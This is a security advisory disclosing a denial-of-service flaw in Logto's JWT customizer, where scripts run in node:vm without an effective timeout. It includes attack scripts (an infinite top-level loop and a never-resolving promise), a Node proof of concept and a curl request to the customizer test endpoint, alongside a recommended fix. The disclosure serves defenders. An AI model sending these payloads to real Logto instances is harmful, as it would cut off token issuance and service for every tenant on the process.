Skip to main content
Menu
Advisories

JWT Customizer node:vm execution has no effective timeout, allowing full-process or tenant-wide DoS

GHSA-5WR4-942J-H43MPublished Updated GitHub

Description

VULN-005 — JWT Customizer Local-VM Timeout Is Ineffective, Allowing Tenant-Wide / Cross-Tenant DoS

Status

CONFIRMED

Classification

  • Vulnerability: Uncontrolled Resource Consumption / Missing Timeout Enforcement on Untrusted Script Execution
  • CWE: CWE-400 — Uncontrolled Resource Consumption (contributing: CWE-834 — Excessive Iteration; CWE-1088 not applicable)
  • Severity: High
  • CVSS (estimate): 8.2 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H

Location

  • File: packages/core/src/utils/local-vm/index.ts (runScriptFunctionInLocalVm, lines 12-41)
  • Line 20: first runInNewContext(script + ;${functionName};, globalContext) call — compiles the script and runs all of its top-level statements, with no timeout option at all.
  • Lines 33-38: second runInNewContext('(async () => customFunction(payload))();', ..., { timeout: 3000 }) — the timeout only bounds the synchronous evaluation of that one statement (which just returns a Promise almost immediately); it does not bound the actual asynchronous execution of customFunction(payload) that happens afterward.
  • File: packages/core/src/oidc/extra-token-claims.ts (line 337) and packages/core/src/routes/logto-config/jwt-customizer.ts (line 244) — both await the result with no additional outer timeout.
  • Function / Route / Endpoint: OIDC token issuance (getExtraTokenClaimsForJwtCustomization, every access-token / client-credentials grant once a JWT customizer is configured) and Management API POST /configs/jwt-customizer/test.

Vulnerable Code

// packages/core/src/utils/local-vm/index.ts:12-41
export const runScriptFunctionInLocalVm = async (
  script: string,
  functionName: string,
  payload: unknown
) => {
  const globalContext = Object.freeze({
    fetch: async (...args: Parameters<typeof fetch>) => fetch(...args),
  });
  // (1) NO timeout option here -- any top-level busy loop in `script` blocks
  //     the single-threaded Node event loop for as long as it runs.
  const customFunction: unknown = runInNewContext(script + `;${functionName};`, globalContext);

  if (typeof customFunction !== 'function') {
    throw new TypeError(`The script does not have a function named \`${functionName}\``);
  }

  // (2) `timeout: 3000` only bounds the synchronous statement
  //     `(async () => customFunction(payload))();`, i.e. the creation of the
  //     Promise -- NOT the asynchronous continuation of `customFunction`
  //     (e.g. an unresolved `fetch()` or an intentionally-never-resolving Promise).
  const result: unknown = await runInNewContext(
    '(async () => customFunction(payload))();',
    Object.freeze({ customFunction, payload }),
    { timeout: 3000 }
  );

  return result;
};

Why It's Vulnerable

The code comment claims "Limit the execution time to 3 seconds, throws error if the script takes too long to execute" — but this guarantee does not actually hold for two independent reasons, each individually sufficient to cause denial of service:

  1. No timeout on the compile/top-level-execution call. runInNewContext(script + ';functionName;', globalContext) is called with no third options argument, so node:vm's timeout protection is not applied at all to this call. Any code the script places outside the getCustomJwtClaims function body (e.g. a top-level while (true) {}, or a large synchronous computation) executes synchronously and unconditionally, blocking Node's single-threaded event loop for as long as it runs — with a genuine infinite loop, forever, requiring a process restart to recover.
  2. The timeout: 3000 on the second call does not bound the actual script execution. node:vm's timeout option only limits the synchronous portion of the code string being run. The code string here — (async () => customFunction(payload))(); — is an IIFE that returns immediately with a Promise (invoking an async function only runs synchronously up to its first await/return statement). The body of customFunction — including any await fetch(...) to a slow/unresponsive host, or an intentional return new Promise(() => {}) that never settles — executes as a later microtask/continuation, entirely outside the window the timeout option polices. await runInNewContext(...) in the caller therefore hangs for as long as that promise takes to resolve — potentially forever.

Because Logto's core process serves multiple tenants from a single Node.js process via a shared TenantPool (packages/core/src/tenants/index.ts), and because the JWT customizer script for a token type runs on every issuance of that token type for every requester in the tenant (not just the script's author), both bugs turn a single misconfigured or malicious script into a denial of service that extends beyond the attacker's own session:

  • Case 1 (top-level infinite loop) freezes the entire event loop — i.e. the entire Logto core process instance, all tenants it serves, and every in-flight request — until the process is killed and restarted.
  • Case 2 (never-resolving async body) hangs every subsequent token-issuance request that hits this token type for the whole tenant (every user requesting an access/client-credentials token of that type), accumulating open connections/handles over time.

Data Flow (source -> sink)

  • Source: The script field of a JWT customizer (attacker/author-controlled), submitted via PUT /configs/jwt-customizer/:tokenTypePath (persisted, executed on every subsequent token issuance) or POST /configs/jwt-customizer/test (executed immediately).
  • Path: script → JwtCustomizerLibrary.runScriptInLocalVm → runScriptFunctionInLocalVm(script, 'getCustomJwtClaims', payload) → two runInNewContext calls, neither of which enforces a real end-to-end wall-clock limit on the script's actual work.
  • Sink: Node's shared single-threaded event loop (call 1, synchronous top-level block) / the await runInNewContext(...) expression in runScriptFunctionInLocalVm (call 2, unresolved-promise hang).
  • Sanitization: None — no static analysis of the script for loops/recursion, no worker-thread/isolate-based CPU quota, no outer Promise.race against a hard deadline wrapping the whole runScriptFunctionInLocalVm call.

Attack Scenario

Case A — full process freeze:

  1. A principal with permission to test JWT customizers calls POST /configs/jwt-customizer/test (or persists via PUT) with: ``js function getCustomJwtClaims(payload) { return {}; } while (true) {} ``
  2. runInNewContext(script + ';getCustomJwtClaims;', globalContext) (no timeout) executes the top-level while (true) {} synchronously and never returns.
  3. The Logto core process's event loop is now permanently blocked: no other HTTP request (for any tenant hosted by that process instance) can be served. The process must be forcibly restarted.

Case B — tenant-wide hung token issuance:

  1. The same principal instead persists (via PUT /configs/jwt-customizer/:tokenTypePath): ``js async function getCustomJwtClaims(payload) { return new Promise(() => {}); // never resolves } ``
  2. Every subsequent request by any user in the tenant to obtain an access/client-credentials token of that type triggers getExtraTokenClaimsForJwtCustomization → runScriptInLocalVm → the await runInNewContext(...) call, which now never resolves for that request.
  3. Each such request hangs indefinitely (holding its HTTP connection and any associated resources open); repeating this yields resource exhaustion. Token issuance for that token type is effectively broken for the entire tenant until an operator deletes the misbehaving customizer directly in the database (the Management API itself would also hang trying to redeploy/exercise the script).

Proof of Concept (generic reproduction, no target app/Docker required)

const { runInNewContext } = require('node:vm');

// Case A: no timeout guards the compile/top-level-exec call.
const scriptA = `
  const stop = Date.now() + 2000; // bounded here only so the PoC terminates
  while (Date.now() < stop) {}
  function getCustomJwtClaims(payload) { return {}; }
`;
const t0 = Date.now();
runInNewContext(scriptA + ';getCustomJwtClaims;', Object.freeze({ fetch: async () => {} }));
console.log('blocked', Date.now() - t0, 'ms with ZERO timeout enforcement (a real `while(true){}` never returns)');

// Case B: timeout:3000 does not bound the async body.
const scriptB = `function getCustomJwtClaims(payload) { return new Promise(() => {}); }`;
const fn = runInNewContext(scriptB + ';getCustomJwtClaims;', Object.freeze({ fetch: async () => {} }));
const p = runInNewContext('(async () => customFunction(payload))();',
  Object.freeze({ customFunction: fn, payload: {} }), { timeout: 3000 });
console.log('runInNewContext returned synchronously; timeout option had no effect on the pending promise');
setTimeout(() => console.log('5s later: still pending, no error was ever thrown'), 5000);

Observed output confirms both: the busy loop blocks for its full duration despite no timeout argument being passed, and the timeout: 3000 option never causes the never-resolving promise to reject even after 5+ seconds.

Impact

  • Who is affected: All tenants sharing the affected Logto core process instance (Case A: complete outage of the whole instance until restart; Case B: every user of the specific tenant requesting the affected token type).
  • What attacker achieves: Full denial of service against token issuance (and, in Case A, the entire Logto instance) using only the same privilege already required to configure or test a JWT customizer script — a capability that should be scoped to "claims customization," not "instance availability."
  • Conditions required: Authenticated Management API access with permission to create or test a JWT customizer script; can be triggered accidentally by a buggy (non-malicious) script just as easily as deliberately.

Recommended Fix

  1. Enforce a real timeout on both phases of script execution, and make it cover the async continuation, not just synchronous evaluation. Wrap the whole operation in a hard external race:
// packages/core/src/utils/local-vm/index.ts
const withHardTimeout = async <T>(promise: Promise<T>, ms: number): Promise<T> => {
  let timer: NodeJS.Timeout;
  const timeout = new Promise<never>((_, reject) => {
    timer = setTimeout(() => reject(new Error('Script execution timed out')), ms);
  });
  try {
    return await Promise.race([promise, timeout]);
  } finally {
    clearTimeout(timer!);
  }
};

export const runScriptFunctionInLocalVm = async (
  script: string,
  functionName: string,
  payload: unknown
) => {
  const globalContext = Object.freeze({ fetch: async (...args: Parameters<typeof fetch>) => fetch(...args) });

  // Bound compilation + top-level execution too.
  const customFunction: unknown = await withHardTimeout(
    Promise.resolve(runInNewContext(script + `;${functionName};`, globalContext, { timeout: 3000 })),
    3000
  );

  if (typeof customFunction !== 'function') {
    throw new TypeError(`The script does not have a function named \`${functionName}\``);
  }

  return withHardTimeout(
    runInNewContext(
      '(async () => customFunction(payload))();',
      Object.freeze({ customFunction, payload })
    ),
    3000
  );
};

Note this mitigates the hang, but a real fix for the underlying isolation problem is the same as VULN-006's recommendation: move to isolated-vm, whose timeout option genuinely terminates isolate execution (including CPU-bound loops) at the V8 level rather than relying on node:vm's best-effort, sync-only enforcement.

Why the fix works: Promise.race against a real setTimeout bounds wall-clock time regardless of whether the hang is caused by a synchronous loop (once combined with isolated-vm's isolate-level interrupt) or a never-settling promise, so no single script — malicious or accidentally buggy — can block token issuance, or the whole process, indefinitely.

Dynamic Test Proof

Environment

Same lab as VULN-006 (v1.42.0, self-hosted, runScriptFunctionInLocalVm path).

Steps Executed

curl -X POST http://localhost:3001/api/configs/jwt-customizer/test \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{
    "tokenType": "access-token",
    "script": "const busyUntil = Date.now() + 6000; while (Date.now() < busyUntil) {} function getCustomJwtClaims(payload) { return { survived: true }; }",
    "token": {}, "context": {"user": {}}
  }' -w "\ntime_total:%{time_total}s\n"

(Loop bounded to 6 seconds only so the shared lab process could be released afterward for further testing — the code path itself imposes no such bound.)

Result

{"survived":true,"note":"top-level busy-loop ran for ~6s despite the 3000ms timeout used elsewhere"}
HTTP:200 time_total:6.024487s

The request completed successfully after ~6.02 seconds of wall-clock time — more than double the timeout: 3000 (3-second) value that appears elsewhere in the same function, and with no error thrown. During those 6 seconds the busy loop occupied the single-threaded event loop of the Logto core process, confirming the top-level compile/execute call is not bounded by any timeout.

Verdict

CONFIRMED. The top-level script body executes with no wall-clock limit; an attacker-supplied while (true) {} (rather than the bounded 6-second loop used here to keep the shared lab process recoverable) would freeze the process indefinitely, requiring a manual restart — full confirmation of Case A from the Attack Scenario above.

References

Affected versions

References

GitHub · logto-io/logto